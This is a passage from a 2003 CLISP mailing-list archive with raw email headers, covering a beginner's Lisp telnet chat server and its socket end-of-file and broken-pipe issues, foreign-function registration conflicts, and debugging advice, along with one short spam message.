18:44:16 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with asmtp (Exim 4.10) id 18Z00Q-0006ZE-00 for clisp-list@lists.sourceforge.net; Thu, 16 Jan 2003 03:43:46 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx3.freenet.de with esmtp (Exim 4.10 #7) id 18Z00P-0004Wm-00 for clisp-list@lists.sourceforge.net; Thu, 16 Jan 2003 03:43:45 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18Z01L-0000o5-00; Thu, 16 Jan 2003 03:44:43 +0100 From: Michael Koehne To: clisp-list@lists.sourceforge.net Message-ID: <20030116024443.GA3024@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Subject: [clisp-list] read-line (clisp 2.30/woody) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 15 18:45:03 2003 X-Original-Date: Thu, 16 Jan 2003 03:44:43 +0100 Moin Guru's, attached to this mail is my first Common Lisp programm *blush* and *uhm well* i did some EMACS/LISP before and i have some reason for choosing LISP as the implementation language. The code fails with related problems. - the input method of mucl client does not detect end-of-file. There will be a last :input on socket-status, when the client closes the connection. The following read() system call, should result in 0 or -1. That has to be interpreted as :eof or something like that in read-char and read-char-no-hang. So read-line can detect it. The :eof will be once raised as non-blocking input followed with read() result of -1, and later as an error OF THE select() system call. - There is a race condition, if the client closed its connection during 'tick' (asuming that tick may take longer) between the :input and :output socket-status querys. In this case, the following socket-status will result in :output (and not :error as expected), but a write-line will trigger a SIG_PIPE. The race condition could be solved, if the second socket-status queries :io and input, is processed before output (for a 2nd time) and the read-line end-of-file problem is solved. But: how to catch broken pipe signals, as the server should run, or is it better (implementation problem similar to Perl) to ignore the signal ? - Once a client dropped its connection a dead socket is in the readfds list. This will cause a socket-status :input to return immediate, but the dead socket is neither at :input (for reading :eof like the first time directly after client dropped its connection) and also not in :error state. Its just nil, so the timeout is never reached, and the process is running wild till next tick, where it will die with a SIG_PIPE. - The code will have to deal with nasty telnet protocols (IAC options and commands) are there any low level system-read or system-write commands, working more reliable in that context ? I've tried several ways to call read-line. e.g as (read-line stream nil :my-eof-symbol) but none of them showed any end of file condition. I at last tried to read the characters one by one - and suprisingly: The -1 from read() system call, is interpreted as #\Newline ? So i think i'm lost and hope that someone points me to the right place, where to patch read-char and read-line. If you want to try the code : - install the real read-line again g/^.multiple-value-bind/s/mucl-read-line/read-line/ - start clisp interactive ([m-x]run-lisp) (load "mucl-stream") (progn (unless mucl-running (mucl-open (make-instance 'mucl-server))) (setf (mucl-time mucl-running) (truncate (get-internal-real-time) 1000000)) (setf (mucl-tick mucl-running) (* (truncate (mucl-time mucl-running) 30) 30)) (dotimes (i 100) (mucl-pulse mucl-running)) ) - telnet localhost 5555, type something, and look about tick. close telnet connection. - investigate the clisp debuging output. *uh* yes i know lot of this code could/should be improved - PLEASE drop me a mail, if your eye catches something that me did plain wrong. peace on your way, Michael ;;; mucl-stream MUCL - Multi User Common Lisp Stream Classes ;;; (c) GNU GPL 2003 ;;; debugging (defvar mucl-demon nil "demon mode") (defun mucl-debug (s) "write debug messages, if not in demon mode" (unless mucl-demon (write-line s)) nil) (defvar mucl-running nil "the running MUCL server") ;;; class definitions (defclass mucl-stream () ((sock :accessor mucl-sock :initarg :sock)) (:documentation "The basic MUCL stream class")) (defclass mucl-server (mucl-stream) ((port :accessor mucl-port :initform 5555) (peer :accessor mucl-peer) (hash :accessor mucl-hash) (tick :accessor mucl-tick) (time :accessor mucl-time)) (:documentation "The MUCL server stream class")) (defclass mucl-client (mucl-stream) ((buff :accessor mucl-buff) (ique :accessor mucl-ique) (oque :accessor mucl-oque)) (:documentation "The MUCL client stream class")) ;;; method definitions (defgeneric mucl-open (mucl-stream &optional port) (:documentation "Open the object")) (defgeneric mucl-close (mucl-stream) (:documentation "Close the object")) (defgeneric mucl-input (mucl-stream) (:documentation "Receive input")) (defgeneric mucl-output (mucl-stream) (:documentation "Send output")) (defgeneric mucl-error (mucl-stream) (:documentation "Process error")) (defgeneric mucl-pulse (mucl-stream) (:documentation "Process pulse")) ;;; mucl-server implementation (defmethod mucl-open ((self mucl-server) &optional port) (when port (setf (mucl-port self) port)) (setf (mucl-sock self) (socket-server (mucl-port self))) (setf (mucl-peer self) nil) (setf (mucl-hash self) nil) (setq mucl-running self) (mucl-debug "MUCL server open") ) (defmethod mucl-close ((self mucl-server)) (socket-server-close (mucl-sock self)) (setf (mucl-sock self) nil) (setq mucl-running nil) (mucl-debug "MUCL server close") ) (defmethod mucl-input ((self mucl-server)) (let ((p (make-instance 'mucl-client))) (mucl-open p (socket-accept (mucl-sock self))) (mucl-debug "MUCL server accept") )) (defmethod mucl-output ((self mucl-server)) (mucl-debug "MUCL server output error") (mucl-close self)) (defmethod mucl-error ((self mucl-server)) (mucl-debug "MUCL server error") (mucl-close self)) (defmethod mucl-pulse ((self mucl-server)) (let (socks stats time) (when mucl-running (setq socks (cons (mucl-sock self) (mapcar #'(lambda (s) (cons (mucl-sock s) :input)) (mucl-peer self)) )) (setq stats (socket-status socks 5 50000)) (mucl-stream-loop socks stats) ) (setq time (truncate (get-internal-real-time) 1000000)) (when (>= time (mucl-tick self)) (setf (mucl-tick self) (+ (mucl-tick self) 30)) (mucl-debug (format nil "MUCL server tick ~A" (mucl-date time) )) (let ((s (format nil "tick ~A~%" (mucl-date time)) )) (dolist (p (mucl-peer self)) (mucl-queue p s)))) (when (and mucl-running (mucl-peer self)) (setq socks (mapcar #'(lambda (s) (cons (mucl-sock s) :output)) (mucl-peer self)) ) (setq stats (socket-status socks 0 50000)) (mucl-stream-loop socks stats) ))) ;;; MUCL client method implementation (defmethod mucl-open ((self mucl-client) &optional sock) (when sock (setf (mucl-oque self) nil) (setf (mucl-ique self) nil) (setf (mucl-buff self) nil) (setf (mucl-sock self) sock) (setf (mucl-hash mucl-running) nil) (push self (mucl-peer mucl-running)) (mucl-debug "MUCL client open") )) (defmethod mucl-close ((self mucl-client)) (close (mucl-sock self)) (setf (mucl-sock self) nil) (setf (mucl-hash mucl-running) nil) (delete self (mucl-peer mucl-running)) (mucl-debug "MUCL client close") ) (defun mucl-read-line (stream) (let ((buffer (make-array 10 :element-type 'character :adjustable t :fill-pointer 0))) (loop (let ((c (read-char stream))) (mucl-debug (format nil "[~A]" c)) (cond ((not c) (return (values nil t))) ((eq c ':EOF) (return (values (coerce buffer 'simple-string) t))) ((eql c #\Newline) (return (values (coerce buffer 'simple-string) nil))) (t (vector-push-extend c buffer)) ))))) (defmethod mucl-input ((self mucl-client)) (multiple-value-bind (l f) (mucl-read-line (mucl-sock self)) (mucl-debug (format nil "MUCL process (~A|~A)~%" l f)) (if (or f (not l)) (mucl-close self) (mucl-debug (format nil "MUCL process (~A)~%" l)) ))) (defmethod mucl-output ((self mucl-client)) (when (mucl-oque self) (write-string (car (mucl-oque self)) (mucl-sock self)) (setf (mucl-oque self) (cdr (mucl-oque self))) )) (defmethod mucl-error ((self mucl-client)) (mucl-debug "MUCL client error") (mucl-close self) ) (defun mucl-queue (client string) "queue a string to send a client" (setf (mucl-oque client) (append (mucl-oque client) (list string)))) ;;; control functions (defun mucl-stream-loop (socks stats) "loop over socket status" (unless (mucl-hash mucl-running) (setf (mucl-hash mucl-running) (cons (cons (mucl-sock mucl-running) mucl-running) (mapcar #'(lambda (s) (cons (mucl-sock s) s)) (mucl-peer mucl-running)) ))) (loop (unless (car socks) (return)) (let ((csock (car socks)) (cstat (car stats)) cstream) (when (listp csock) (setq csock (car csock))) (setq cstream (cdr (assoc csock (mucl-hash mucl-running)))) (format t "MUCL check ~A stat ~A~%" csock cstat) (if cstream (case cstat ((t :input) (mucl-input cstream)) (:output (mucl-output cstream)) (:error (mucl-error cstream)) (otherwise (when cstat (format t "MUCL error ~A stat ~A~%" csock cstat) (mucl-error cstream)))) (format t "MUCL error no object ~A stat ~A hash ~A" csock cstat (mucl-hash mucl-running)) )) (unless (cdr socks) (return)) (setq stats (cdr stats)) (setq socks (cdr socks)) )) (defun mucl-start () "start MUCL" (unless mucl-running (mucl-open (make-instance 'mucl-server))) (setf (mucl-time mucl-running) (truncate (get-internal-real-time) 1000000)) (setf (mucl-tick mucl-running) (* (truncate (mucl-time mucl-running) 30) 30)) (loop (unless mucl-running (return)) (mucl-pulse mucl-running)) ) (defun mucl-stop () "stop MUCL" (when mucl-running (mucl-close mucl-running))) (defun mucl-date (time &optional shift) "traveller GAME time" (let (year date hour min) (setq year (truncate time 518400)) (setq date (- (truncate time 1440) (* year 360))) (setq hour (- (truncate time 60) (+ (* year 360 24) (* date 24)))) (setq min (- time (+ (* hour 60) (* year 518400) (* date 1440)))) (when shift (setq year (+ year shift))) (setq str (format nil "~4D-~3,'0D ~2,'0D:~2,'0D" year date hour min)) str)) ; mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.6'UNZ+1' ; http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 16 03:02:51 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Z7nM-0005RE-00 for ; Thu, 16 Jan 2003 03:02:49 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 16 Jan 2003 12:02:40 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 16 Jan 2003 12:02:40 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01275FCA@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: Problem when C function targetted twice by FFI modules. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 16 03:03:06 2003 X-Original-Date: Thu, 16 Jan 2003 12:02:38 +0100 Kaz Kylheku wrote: >CLISP contains a foreign function and foreign variable >registry keyed on symbol name, More precisely: On the foreign function name (as seen from C), not on a Lisp symbol name. Your problem: Different external modules may attempt to register the same foreign function, e.g. strerror via: > void module__unix__init_function_2(module) > var module_t* module; > { > register_foreign_function(&strerror,"strerror",1024); > /*...*/ > } > *** - A foreign function "strerror" already exists > 1. Break [2]> [...] >Any other ideas? What if, quite simply, duplicate registrations were >silently permitted? What would break? Nothing would break since that did never occur before, as it would have error'ed out. I think this is the only way to go. At the level of the executable's symbols, there can be only one with a given name. Prefixing Lisp package names or other random stuff is the wrong way to go. Only additional check: if the foreign pointer is already valid but now declares a different address then signal an error. If same address as before, everything seems fine. What's unclear is when the address is the same but the flags are different (e.g. K&R :C vs. ANSI :stdc declaration) One then would later obtain fehler(error,GETTEXT("~: calling conventions for foreign function ~ conflict")); from FFI::LOOKUP-FOREIGN-FUNCTION Here I believe people's Lisp sources should be made consistent, e.g. typically enforce :stdc everywhere. Two addresses for the same name could possibly be different when using dlopen() which may shadow some mapping from name to address?? A problem? However, having a silent register_foreign_function() is only past the first pitfall you encountered. The next one is FFI::LOOKUP-FOREIGN-FUNCTION which creates the user-accessible foreign function object. What if the exact :arguments and :return-type definitions differ? This might signal fehler(error,GETTEXT("~: calling conventions for foreign function ~ conflict")); But this may be impractical. One person could define a parameter as ffi:int, another as ffi:uint etc. This calls into memory the days where there were few C function prototypes (or only K&R style really incomplete "extern" declarations). The lesson the C people learnt was: provide correct prototypes (including parameter types, as in ANSI-C) and have everybody use them. It would be strange if CLISP would permit another behaviour, as if the lesson had not been learnt. So I think the user's sources must eventually be modified so that they provide the same declarations: :C or :stdC, :arguments and :return-type. Duplicate registration would then be no problem at all. But wait, below is a better solution. CONCLUSION - CONCLUSION 1. please provide patch to register_foreign_function: + become silent if both address and flags match + error out if flags ("calling conventions ... conflict", as in LOOKUP-FOREIGN-FUNCTION) or address ("ff already exists") differ. 2. Don't modify FFI::LOOKUP-FOREIGN-FUNCTION after all. The flags must agree, but argument types every user may define as s/he likes for the Lisp side of the function. The ff_flags field which must match includes: o :c vs. :stdc o :malloc/:alloca for return parameter, not for arguments As a special exception, the check on matching flags may omit matching :malloc/:alloca return-types in both functions, but probably nobody needs that special case. An example: [211]> (ffi:def-c-call-out c-self (:name "ffi_identity") (:arguments (obj ffi:int)) (:return-type ffi:int)) C-SELF [212]> (ffi:def-c-call-out c-self2 (:name "ffi_identity") (:arguments (obj ffi:c-pointer)) (:return-type ffi:uint)) ; cheap FOREIGN-ADDRESS-TO-UNSIGNED [+] C-SELF2 [213]> (ffi:def-c-call-out c-self3 (:name "ffi_identity") (:arguments (obj ffi:int)) (:return-type ffi:c-pointer)) ; cheap UNSIGNED-TO-FOREIGN-ADDRESS [+] C-SELF3 [214]> (c-self 1) 1 [215]> (c-self3 1) # [216]> (c-self2 *) 1 [+] both are in core CLISP as built-in functions these days. BTW, if you want to define or "import" my ffi_identity function (now present in every CLISP >= 2.29/2.30), you'd better use (EVAL-WHEN (:execute :load-toplevel) (def-c-call-out (:name "ffi_identity") ...)) The compiler should *not* generate an unnecessary external C module for them - keep it out. Or perhaps use the CLISP extension: (eval-when ((not compile)) (def-call-out "ffi_identity ...) Regards, Jorg Hohle. From offer1@cfl.rr.com Thu Jan 16 15:05:47 2003 Received: from smtp-server2.tampabay.rr.com ([65.32.1.39]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ZJ4z-0004OV-00 for ; Thu, 16 Jan 2003 15:05:45 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207] (may be forged)) by smtp-server2.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0GN4RNk011936 for ; Thu, 16 Jan 2003 18:05:40 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200311665136clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 16 15:06:05 2003 X-Original-Date: Thu, 16 Jan 2003 18:05:36 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From nick@lsd.net.nz Thu Jan 16 20:24:16 2003 Received: from port54-31-135.adsl.net4u.co.nz ([210.54.31.135] helo=highgate) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ZO2i-0000QZ-00 for ; Thu, 16 Jan 2003 20:23:44 -0800 Received: from icecream ([192.168.0.42] helo=lsd.net.nz) by highgate with esmtp (Exim 3.35 #1 (Debian)) id 18ZO2B-0006Lu-00 for ; Fri, 17 Jan 2003 17:23:11 +1300 Message-ID: <3E2784EC.8010703@lsd.net.nz> From: Nick Wright User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030105 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Debugging in Clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 16 20:25:03 2003 X-Original-Date: Fri, 17 Jan 2003 17:22:04 +1300 Hi everyone, Is there a good documentation for the debugging features of Clisp? I am currently working with a system that I am trying to run under Clisp, but which was written primarily for another lisp system. Minor differences between these lisps mean that I am having to make slight changes to the code to get things working. My problem is that I am faced with the following error message: *** - FUNCALL: the function T is undefined How can I find out where funcall was called from and what it's arguemnt was? (trace funcall) doesn't seem to work in this instance. I have tried stepping through the top level function call - unfortunately, the system I'm working on is rather compicated, meaning that stepping through one step at a time is going to take a very long time. What I want to be able to do is to interrupt the execution just before the error occurs to see what the state of the system is there, and what the local variables are at that point. I am fammiliar with the breakpoint options. This tells me about "frames" and on printing these I get some variables, but generally not the ones I'm interested in. Is there a concice documentation on whats going on in the "frames" or what I can expect to achieve through the debugging system? Any other suggestions? Thanks, Nick. From sds@gnu.org Fri Jan 17 11:37:47 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ZcJH-0002xQ-00 for ; Fri, 17 Jan 2003 11:37:47 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out002.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030117193740.VIHK7656.out002.verizon.net@loiso.podval.org>; Fri, 17 Jan 2003 13:37:40 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.6/8.12.6) with ESMTP id h0HJcMZ1023686; Fri, 17 Jan 2003 14:38:23 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.6/8.12.6/Submit) id h0HJcLqq023682; Fri, 17 Jan 2003 14:38:21 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Nick Wright Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Debugging in Clisp References: <3E2784EC.8010703@lsd.net.nz> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3E2784EC.8010703@lsd.net.nz> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.33.199] at Fri, 17 Jan 2003 13:37:40 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 17 11:38:05 2003 X-Original-Date: 17 Jan 2003 14:38:21 -0500 > * In message <3E2784EC.8010703@lsd.net.nz> > * On the subject of "[clisp-list] Debugging in Clisp" > * Sent on Fri, 17 Jan 2003 17:22:04 +1300 > * Honorable Nick Wright writes: > > Is there a good documentation for the debugging features of Clisp? > *** - FUNCALL: the function T is undefined > > How can I find out where funcall was called from and what it's > arguemnt was? type "where" at the debugging prompt. you will get more information if your code is interpreted and not compiled. type "help" for help. > (trace funcall) doesn't seem to work in this instance. it should work - but will not necessarily help you. (t) does not call FUNCALL but will report this error. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux What's the difference between Apathy & Ignorance? -I don't know and don't care! From sds@gnu.org Fri Jan 17 12:04:21 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Zciz-0001h4-00 for ; Fri, 17 Jan 2003 12:04:21 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030117200414.XRHU3094.out003.verizon.net@loiso.podval.org>; Fri, 17 Jan 2003 14:04:14 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.6/8.12.6) with ESMTP id h0HK4uZ1023739; Fri, 17 Jan 2003 15:04:56 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.6/8.12.6/Submit) id h0HK4u6m023735; Fri, 17 Jan 2003 15:04:56 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Michael Koehne Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line (clisp 2.30/woody) References: <20030116024443.GA3024@bakunin.copyleft.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030116024443.GA3024@bakunin.copyleft.de> Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.33.199] at Fri, 17 Jan 2003 14:04:13 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 17 12:05:21 2003 X-Original-Date: 17 Jan 2003 15:04:56 -0500 > * In message <20030116024443.GA3024@bakunin.copyleft.de> > * On the subject of "[clisp-list] read-line (clisp 2.30/woody)" > * Sent on Thu, 16 Jan 2003 03:44:43 +0100 > * Honorable Michael Koehne writes: > > The code fails with related problems. > > - There is a race condition, if the client closed its connection > during 'tick' (asuming that tick may take longer) between the > :input and :output socket-status querys. In this case, the > following socket-status will result in :output (and not :error > as expected), but a write-line will trigger a SIG_PIPE. this is why most communications are done using a fixed protocol. i.e., you close a connection only after declaring an intent to do so. (TCP/IP gurus are welcome to refute this!) > (defun mucl-stream-loop (socks stats) "loop over socket status" > (unless (mucl-hash mucl-running) > (setf (mucl-hash mucl-running) > (cons > (cons (mucl-sock mucl-running) mucl-running) > (mapcar #'(lambda (s) > (cons (mucl-sock s) s)) > (mucl-peer mucl-running)) ))) > (loop > (unless (car socks) (return)) you mean (unless socks) here! > (let ((csock (car socks)) > (cstat (car stats)) > cstream) > (when (listp csock) (setq csock (car csock))) > (setq cstream (cdr (assoc csock (mucl-hash mucl-running)))) > (format t "MUCL check ~A stat ~A~%" csock cstat) > (if cstream > (case cstat > ((t :input) (mucl-input cstream)) > (:output (mucl-output cstream)) > (:error (mucl-error cstream)) > (otherwise (when cstat > (format t "MUCL error ~A stat ~A~%" csock cstat) > (mucl-error cstream)))) > (format t "MUCL error no object ~A stat ~A hash ~A" > csock cstat (mucl-hash mucl-running)) )) > (unless (cdr socks) (return)) > (setq stats (cdr stats)) > (setq socks (cdr socks)) )) what you want is probably (loop :for sock :in socks :for stat :in stats :do ...) I really hope our resident network gurus will provide more information! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The program isn't debugged until the last user is dead. From kaz@footprints.net Fri Jan 17 12:48:10 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ZdOu-0001JS-00 for ; Fri, 17 Jan 2003 12:47:40 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18ZdOM-0004is-00; Fri, 17 Jan 2003 12:47:06 -0800 From: Kaz Kylheku To: Sam Steingold cc: Nick Wright , In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Debugging in Clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 17 12:49:02 2003 X-Original-Date: Fri, 17 Jan 2003 12:47:06 -0800 (PST) On 17 Jan 2003, Sam Steingold wrote: > (t) does not call FUNCALL but will report this error. This calls for Lisp humor: ;;; cond bug smoother for dummies (defun t (&rest oops) (cond ((null oops) t) ((t (first (last oops)))))) My original version was (defun t (&rest oops) (first (last (cons t oops)))) but the lengthier formulation contains the all-important element of irony. Binding a function to t is probably like so not-ANSI-conforming, dudes. Avoid inhaling the fumes, use proper ventilation, etc. From kraehe@copyleft.de Fri Jan 17 16:09:48 2003 Received: from mout0.freenet.de ([194.97.50.131] ident=exim) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ZgY5-0007qz-00 for ; Fri, 17 Jan 2003 16:09:21 -0800 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout0.freenet.de with asmtp (Exim 4.10) id 18ZgXY-0003KF-00; Sat, 18 Jan 2003 01:08:48 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx0.freenet.de with esmtp (Exim 4.10 #7) id 18ZgXY-00009s-00; Sat, 18 Jan 2003 01:08:48 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18ZgaA-0002I1-00; Sat, 18 Jan 2003 01:11:30 +0100 From: Michael Koehne To: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line (clisp 2.30/woody) Message-ID: <20030118001130.GA8741@bakunin.copyleft.de> References: <20030116024443.GA3024@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 17 16:10:06 2003 X-Original-Date: Sat, 18 Jan 2003 01:11:30 +0100 Moin Sam Steingold, > this is why most communications are done using a fixed protocol. > i.e., you close a connection only after declaring an intent to do so. > (TCP/IP gurus are welcome to refute this!) well - as the mucl-date suggests, by running to fast at factor 60, the code should become the chat part of a multi-user-dungeon. Users in those telnet (like) games may drop the connection either by crashing their user client (some many of them are lisp based ;-) or just but stop playing - and rebooting their Windoof. From a Perl point of view: ignore sigpipe, but provide error conditions for read-line, write-line and socket-status. > what you want is probably > (loop :for sock :in socks :for stat :in stats :do > ...) *hm* i did'nt realise that its possible to run more than one list in a loop - this comes handy. > I really hope our resident network gurus will provide more information! oups - i asumed that YOU are the network guru, from the view at port/net.lisp ;-) the problems with my code: - how to detect :eof with read-line (smells like a clisp 2.30 bug) - how to ignore (or catch) sig_pipe - how to improve socket-status to detect dead sockets. portability/reliabilty: - gcl does not provide something like socket-status (unix select call) - clisp does not have a system-write and system-read - cmu is totaly different Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.6'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Fri Jan 17 16:45:16 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Zh6p-0004YN-00 for ; Fri, 17 Jan 2003 16:45:15 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030118004509.NCJP16306.out005.verizon.net@loiso.podval.org>; Fri, 17 Jan 2003 18:45:09 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.6/8.12.6) with ESMTP id h0I0jsZ1024520; Fri, 17 Jan 2003 19:45:54 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.6/8.12.6/Submit) id h0I0jsJW024516; Fri, 17 Jan 2003 19:45:54 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Michael Koehne Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line (clisp 2.30/woody) References: <20030116024443.GA3024@bakunin.copyleft.de> <20030118001130.GA8741@bakunin.copyleft.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030118001130.GA8741@bakunin.copyleft.de> Message-ID: Lines: 56 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out005.verizon.net from [151.203.33.199] at Fri, 17 Jan 2003 18:45:08 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net 